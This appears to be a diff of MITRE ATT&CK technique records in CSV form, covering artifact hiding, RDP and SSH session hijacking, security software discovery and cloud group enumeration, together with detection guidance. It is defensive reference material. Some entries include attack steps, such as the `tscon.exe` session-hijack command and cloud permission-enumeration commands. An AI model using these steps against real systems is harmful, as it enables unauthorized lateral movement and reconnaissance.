'Sophos Ragnar May 2020', 'description': 'SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.', 'url': 'https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/'}]",1.1,attack-pattern,attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-26T17:41:25.933Z,2021-10-20T19:01:56.752Z,Hide Artifacts,"Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015) -Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)",attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8,attack-pattern,['defense-evasion'],2020-09-23T11:31:50.636Z,2020-02-26T17:41:25.933Z,"Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage.","['File: File Creation', 'Process: Process Creation', 'Command: Command Execution', 'File: File Metadata', 'User Account: User Account Creation', 'User Account: User Account Metadata', 'File: File Modification', 'Script: Script Execution', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Modification', 'Firmware: Firmware Modification', 'Process: Process Creation', 'File: File Creation', 'Service: Service Creation', 'File: File Content']",,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1563.002', 'url': 'https://attack.mitre.org/techniques/T1563/002'}, {'url': 'https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx', 'description': 'Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.', 'source_name': 'TechNet Remote Desktop Services'}, {'url': 'http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html', 'description': 'Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.', 'source_name': 'RDP Hijacking Korznikov'}, {'url': 'https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6', 'description': 'Beaumont, K. (2017, March 19). RDP hijacking\u200a—\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.', 'source_name': 'RDP Hijacking Medium'}, {'url': 'https://github.com/nccgroup/redsnarf', 'description': 'NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.', 'source_name': 'Kali Redsnarf'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]",1.0,True,https://attack.mitre.org/techniques/T1563/002,mitre-attack,T1563.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,RDP Hijacking,"Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) +Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)",['defense-evasion'],https://attack.mitre.org/techniques/T1564,mitre-attack,T1564,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'File: File Creation', 'Application Log: Application Log Content', 'Command: Command Execution', 'File: File Metadata', 'User Account: User Account Creation', 'User Account: User Account Metadata', 'File: File Modification', 'Script: Script Execution', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Modification', 'Firmware: Firmware Modification', 'Service: Service Creation']",,"Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage.",False,,"['Linux', 'macOS', 'Windows', 'Office 365']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1563/002', 'external_id': 'T1563.002'}, {'source_name': 'TechNet Remote Desktop Services', 'description': 'Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.', 'url': 'https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx'}, {'source_name': 'RDP Hijacking Korznikov', 'description': 'Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.', 'url': 'http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html'}, {'source_name': 'RDP Hijacking Medium', 'description': 'Beaumont, K. (2017, March 19). RDP hijacking\u200a—\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.', 'url': 'https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6'}, {'source_name': 'Kali Redsnarf', 'description': 'NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.', 'url': 'https://github.com/nccgroup/redsnarf'}]",1.0,attack-pattern,attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-25T18:35:42.765Z,2020-03-23T23:24:39.182Z,RDP Hijacking,"Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) -Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\windows\system32\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)",attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c,attack-pattern,['lateral-movement'],2020-03-23T23:24:39.182Z,2020-02-25T18:35:42.765Z,"Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking. +Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\windows\system32\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)",['lateral-movement'],https://attack.mitre.org/techniques/T1563/002,mitre-attack,T1563.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Process: Process Creation']",,"Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking. -Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Process: Process Creation']",,,['SYSTEM'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1563.001', 'url': 'https://attack.mitre.org/techniques/T1563/001'}, {'url': 'https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219', 'description': 'Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.', 'source_name': 'Slideshare Abusing SSH'}, {'url': 'https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf', 'description': 'Adam Boileau. (2005, August 5). Trust Transience: Post Intrusion SSH Hijacking. Retrieved December 19, 2017.', 'source_name': 'SSHjack Blackhat'}, {'url': 'https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking', 'description': 'Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.', 'source_name': 'Clockwork SSH Agent Hijacking'}, {'source_name': 'Breach Post-mortem SSH Hijack', 'url': 'https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident', 'description': 'Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved February 17, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]",1.0,True,https://attack.mitre.org/techniques/T1563/001,mitre-attack,T1563.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,SSH Hijacking,"Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair. +Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.",True,['SYSTEM'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1563/001', 'external_id': 'T1563.001'}, {'source_name': 'Slideshare Abusing SSH', 'description': 'Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.', 'url': 'https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219'}, {'source_name': 'SSHjack Blackhat', 'description': 'Adam Boileau. (2005, August 5). Trust Transience: Post Intrusion SSH Hijacking. Retrieved December 19, 2017.', 'url': 'https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf'}, {'source_name': 'Clockwork SSH Agent Hijacking', 'description': 'Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.', 'url': 'https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking'}, {'source_name': 'Breach Post-mortem SSH Hijack', 'description': 'Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved February 17, 2020.', 'url': 'https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident'}]",1.0,attack-pattern,attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-25T18:34:38.290Z,2020-03-23T23:11:24.682Z,SSH Hijacking,"Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair. In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack) -[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).",attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8,attack-pattern,['lateral-movement'],2020-03-23T23:11:24.682Z,2020-02-25T18:34:38.290Z,"Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Process: Process Creation']",['Anastasios Pingios'],,['root'],"['Linux', 'macOS']",,,,"['SSH service enabled, trust relationships configured, established connections']",,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1563', 'url': 'https://attack.mitre.org/techniques/T1563'}, {'url': 'https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6', 'description': 'Beaumont, K. (2017, March 19). RDP hijacking\u200a—\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.', 'source_name': 'RDP Hijacking Medium'}, {'source_name': 'Breach Post-mortem SSH Hijack', 'url': 'https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident', 'description': 'Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved February 17, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]",1.0,False,https://attack.mitre.org/techniques/T1563,mitre-attack,T1563,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Remote Service Session Hijacking,"Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service. +[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).",['lateral-movement'],https://attack.mitre.org/techniques/T1563/001,mitre-attack,T1563.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Anastasios Pingios'],"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Process: Process Creation']",,"Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.",True,['root'],"['Linux', 'macOS']",,,,"['SSH service enabled, trust relationships configured, established connections']",,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1563', 'external_id': 'T1563'}, {'source_name': 'RDP Hijacking Medium', 'description': 'Beaumont, K. (2017, March 19). RDP hijacking\u200a—\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.', 'url': 'https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6'}, {'source_name': 'Breach Post-mortem SSH Hijack', 'description': 'Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved February 17, 2020.', 'url': 'https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident'}]",1.0,attack-pattern,attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-25T18:26:16.994Z,2020-03-23T23:35:58.129Z,Remote Service Session Hijacking,"Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service. -Adversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)",attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5,attack-pattern,['lateral-movement'],2020-03-23T23:35:58.129Z,2020-02-25T18:26:16.994Z,"Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. +Adversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)",['lateral-movement'],https://attack.mitre.org/techniques/T1563,mitre-attack,T1563,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Process: Process Creation']",,"Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. -Monitor for processes and command-line arguments associated with hijacking service sessions.","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Process: Process Creation']",,,"['SYSTEM', 'root']","['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1518.001', 'url': 'https://attack.mitre.org/techniques/T1518/001'}, {'external_id': 'CAPEC-581', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/581.html'}, {'source_name': 'Expel IO Evil in AWS', 'url': 'https://expel.io/blog/finding-evil-in-aws/', 'description': 'A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.2,True,https://attack.mitre.org/techniques/T1518/001,mitre-attack,T1518.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Security Software Discovery,"Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. +Monitor for processes and command-line arguments associated with hijacking service sessions.",False,"['SYSTEM', 'root']","['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1518/001', 'external_id': 'T1518.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/581.html', 'external_id': 'CAPEC-581'}, {'source_name': 'Expel IO Evil in AWS', 'description': 'A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.', 'url': 'https://expel.io/blog/finding-evil-in-aws/'}]",1.2,attack-pattern,attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T21:16:18.066Z,2021-03-29T16:05:00.198Z,Security Software Discovery,"Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software. -Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS)",attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384,attack-pattern,['discovery'],2021-03-29T16:05:00.198Z,2020-02-21T21:16:18.066Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. +Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS)",['discovery'],https://attack.mitre.org/techniques/T1518/001,mitre-attack,T1518.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Firewall: Firewall Metadata', 'Firewall: Firewall Enumeration', 'Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). -In cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.","['Firewall: Firewall Metadata', 'Firewall: Firewall Enumeration', 'Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,CAPEC-581,https://capec.mitre.org/data/definitions/581.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1069.003', 'url': 'https://attack.mitre.org/techniques/T1069/003'}, {'source_name': 'Microsoft Msolrole', 'url': 'https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0', 'description': 'Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.'}, {'description': 'Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.', 'url': 'https://github.com/True-Demon/raindance', 'source_name': 'GitHub Raindance'}, {'description': 'Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.', 'url': 'https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest', 'source_name': 'Microsoft AZ CLI'}, {'description': 'Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.', 'url': 'https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/', 'source_name': 'Black Hills Red Teaming MS AD Azure, 2018'}, {'source_name': 'Google Cloud Identity API Documentation', 'url': 'https://cloud.google.com/identity/docs/reference/rest', 'description': 'Google. (n.d.). Retrieved March 16, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.2,True,https://attack.mitre.org/techniques/T1069/003,mitre-attack,T1069.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Cloud Groups,"Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group. +In cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.",True,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,CAPEC-581,https://capec.mitre.org/data/definitions/581.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1069/003', 'external_id': 'T1069.003'}, {'source_name': 'Microsoft Msolrole', 'description': 'Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0'}, {'source_name': 'GitHub Raindance', 'description': 'Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.', 'url': 'https://github.com/True-Demon/raindance'}, {'source_name': 'Microsoft AZ CLI', 'description': 'Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.', 'url': 'https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest'}, {'source_name': 'Black Hills Red Teaming MS AD Azure, 2018', 'description': 'Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.', 'url': 'https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/'}, {'source_name': 'Google Cloud Identity API Documentation', 'description': 'Google. (n.d.). Retrieved March 16, 2021.', 'url': 'https://cloud.google.com/identity/docs/reference/rest'}, {'source_name': 'AWS Get Bucket ACL', 'description': 'Amazon Web Services. (n.d.). Retrieved May 28, 2021.', 'url': 'https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html'}]",1.3,attack-pattern,attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T21:15:33.222Z,2021-06-25T12:13:37.940Z,Cloud Groups,"Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group. + +With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance). -With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance) +Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google (Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation). -Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation)",attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2,attack-pattern,['discovery'],2021-03-30T12:42:46.315Z,2020-02-21T21:15:33.222Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.",['discovery'],https://attack.mitre.org/techniques/T1069/003,mitre-attack,T1069.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Regina Elwell', 'Isif Ibrahima']","['Process: Process Creation', 'Command: Command Execution', 'Group: Group Enumeration', 'Group: Group Metadata', 'Application Log: Application Log Content']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.","['Process: Process Creation', 'Command: Command Execution', 'Group: Group Enumeration', 'Group: Group Metadata', 'Application Log: Application Log Content']",,,['User'],"['Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Google Workspace']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1069.002', 'url': 'https://attack.mitre.org/techniques/T1069/002'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.0,True,https://attack.mitre.org/techniques/T1069/002,mitre-attack,T1069.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Domain Groups,"Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators. +Monitor processes and command-line arguments for actions that could be 